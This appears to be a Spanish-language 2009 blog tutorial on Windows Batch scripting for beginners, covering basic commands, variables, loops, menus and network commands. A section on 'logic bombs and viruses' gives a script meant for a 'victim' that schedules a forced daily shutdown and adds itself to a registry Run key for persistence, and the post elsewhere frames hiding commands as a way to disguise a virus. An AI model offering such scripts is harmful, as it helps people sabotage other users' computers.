sábado, 17 de octubre de 2009

Tutorial para principiantes de Batch

Hola, muy al dope en casa, me propongo hacer este tutorial para principiantes en Batch.. Espero que lo drifuten :D

Empezemos por lo basico...

¿Que es batch?

Si queres te puedo decir que no es Batch. Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema o consola negra que a los que no saben nada les da tanto miedo).
Para programar en batch, necesitaremos el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador, podremos usar el block de notas...

Codigos basicos y pequeñas practicas

Como nuestro primero paso... ingresamos al bloc de notas...
Inicio--->todos los programas---->Accesorios----->Bloc de notas

Una vez que ya sabemos como ingresar al bloc de notas ( nuestro compliador ) ya nos podremos llamar super Juankers xD..
Los comandos basicos de Batch son los siguientes:

 *ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador


Bueno, ahora, abre nuestro super compliador ( nuestro bloc de notas ) y comenzemos a practicar:

Escribe esto:

@echo off
title Primer Programa
echo Presiona una tecla:
echo Wenas
pause>nul
exit

Recuerda! esto guardalo como
elnombrequequieras.BAT... no necesariamente en mayusculas, pero el .bat es fundamental para el funcionamiento del programa




screnn de como queda el programa !

ahora... sabras que significa el codigo que copiaste...

@echo off:
Este codigo lo que hace es ocultar todos los comando que vas a utilizar
en el programa, sino nos apareceria lo que pusimos y la victima se
daria cuenta de que es un virus en caso de que lo sea.

title:
este es el nombre que aparece en la ventana del MS-DOS cuando ejecutas el programa.

echo:
Sirve para mostrar en pantalla o imprir datos.
Ej: echo Franco
mostrara por pantalla Franco

pause:
Interviene en el programa creando una pausa que se va cuando tocas alguna letra

echo: Ya sabemos

pause>nul:
esto es lo mismo que lo anterior pero unicamente que no muestra el
cartel en la pantalla que dice "presione un tecla para proseguir"

exit: Sale de la consola de MS-DOS

Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion. Son datos que pueden ir cambiando a medida que el programa corre ( como su nombre lo indica son variables) xD. Las variables pueden adquirir diferentes valores letras y numeros, tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %franco%

Go Practica:

@echo off
title Welcome to variables exercise:
echo Presiona una tecla para continuar
pause>nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como te puede gustar %comida%?
pause > nul
exit


Ahora a examinar el code...
hasta pause>nul ( el primero ya sabemos )

set /p loquesea:
Con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamar variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD

Aqui se imprimen los datos en pantalla un texto usando las variables, como mencione al principio
las variables se llaman entre "%". Entonses el batch imprimira en
pantalla el valor de las variables nombre, edad y comida adicionadas.


Variables de entorno


Hay tipos de variables, que nos ayudan a la hora de crear nuestros programas y virus y que suben mucho la probabilidad de que el programa tenga exito.. a estas variables, las llamaremos variables de entorno, vienen por defecto, y sirven para indicar una ruta.
Por ejemplo:
todos conocen esta ruta:
C:\WINDOWS\SYSTEM32.. Una variable de entorno puede hacer esto:
%windir%\system32 .. es lo mismo que poner lo de arriba
pongamosle, que en un virus esta C:\WINDOWS\SYSTEM32... imaginense si el windows lo tiene en el disco d:\ u en otro disco... El virus ya estaria mal empezado y no funcionaria...
la variable de entorno hace la accion que le indiquemos directamente en la carpeta que le indiquemos en este caso %windir%=windows
¿SE ENTIENDE?
Ahora con la practica lo entenderan

Las variables de entorno mas importante son las siguientes:

%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

Ejemplo de batch que ejecute el notepad o el bloc de notas

@echo off
echo Ahora se ejecutara el bloc de notas
%windir%\system32\notepad.exe
pause>nul
exit

Bueno... Empezemos con los que algunos estaban esperando...

Bombas logicas y Virus en Batch


Pero primero, ¿Que es una bomba logica ?

Una Bomba lógica es una parte de código insertada en un programa informático intencionadamente que permanece oculto hasta cumplirse una o más condiciones preprogramadas, en ese momento se ejecuta una acción maliciosa.

Algunos programas maliciosos como virus informáticos o gusanos informáticos suelen contener bombas lógicas que ejecutan una acción en una fecha determinada o al darse alguna condición. Para ser considerado bomba lógica, la acción ejecutada debe ser maliciosa o desconocida para el usuario. Por ejemplo los programas demos, que de desactivan pasado un periodo de tiempo, no son considerados bombas lógicas.

Segun wikipedia

Ahora, enseñare como crear una bomba logica ( muy basica) con el comando AT

Mira este code, te va a gustar... :P

shutdown -s -f -t 05 -c "Hola"

¿Que hace?... apaga el ordenador...
-s : sirve para darle la orden a la pc que se tiene que apagar
-f fuerza el cierre del ordenador cerrando los proceso que normalmente no lo dejan apagar
-t es en el tiempo que queres que se apage
-c deja un comentario siempre va entre comillas

Este comando se cancela poniendo shutdown -a

Entonces creemos un batch que a las 9 pm apage la pc de nuestra "victima" xD

@echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat

REG ADD HKML\software\Microsoft\Windows\CurrentVersion\Run /v franco2
/t REG_SZ /d "c:/windows/system32/windosx.bat"
exit

Logicamente , lo que haria esto, es apagar el ordenador de nuestra victima, a las 17:00 y agregarse
al registro. osea apagarse todos los dias a las 5 PM

Aplicacion de IF a las variables en menues

@echo off
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??

if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)

:goo
ping www.google.com
pause
goto menu

:wiki
ping www.wikipedia.com
pause
goto menu


Explicaremos la nueva parte del code:
if %var%==1 (goto goo)
ponemos %var%, por que es la variable que declaramos arriba (set /p var=). ¿Se entiende ?
ponemos cuando la variable sea uno vaya a :goo
if %var%=="" (goto menu)... Esto, Cuando se ingrese algun dato que no sea 1 o 2 volvera al menu..

Bucles

Los bucles son comandos, que se realizan muchas veces, indefinidamente. Los bucles ( en batch )
se realizan facilmente...
Probemos...

@echo off
:bucle
echo Hola World
goto bucle

Esto, se ejecutara infinintamente, hasta que el programa se cierre...
( Esto nos da muchas ideas ) xD

Esto tambien se puede mezclar con variables y con sentencias condicionales ( IF )
Un Ejemplo con todo; ?

@echo off
set var=20
:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo Wenas franco
goto bucle
:exit
echo hola
pause
exit


Automatizacion de tareas

El comando AT, permite que se realize una determinada tarea ( que sabemos nosotros) a alguna
determinada hora ( la que este escrita en el code ) o en un determinado dia o mes, etc

Un ejemplo del comando AT:

@echo off
AT 19;00 shutdown -s -f -t 10 -c " Franco"
exit

Para los newbies si no saben como borrar las tareas
AT /delete


Comandos de red:

Este tema lo voy a pasar muy por arriba, es mas solo dare los comandos.. Espero que sepan entender..

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns

NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
muestra el camino que se toma hasta llegar a la ip

Por ahora esto es todo, voi a seguir maniana.... :D nos vemos

No hay comentarios:

Publicar un comentario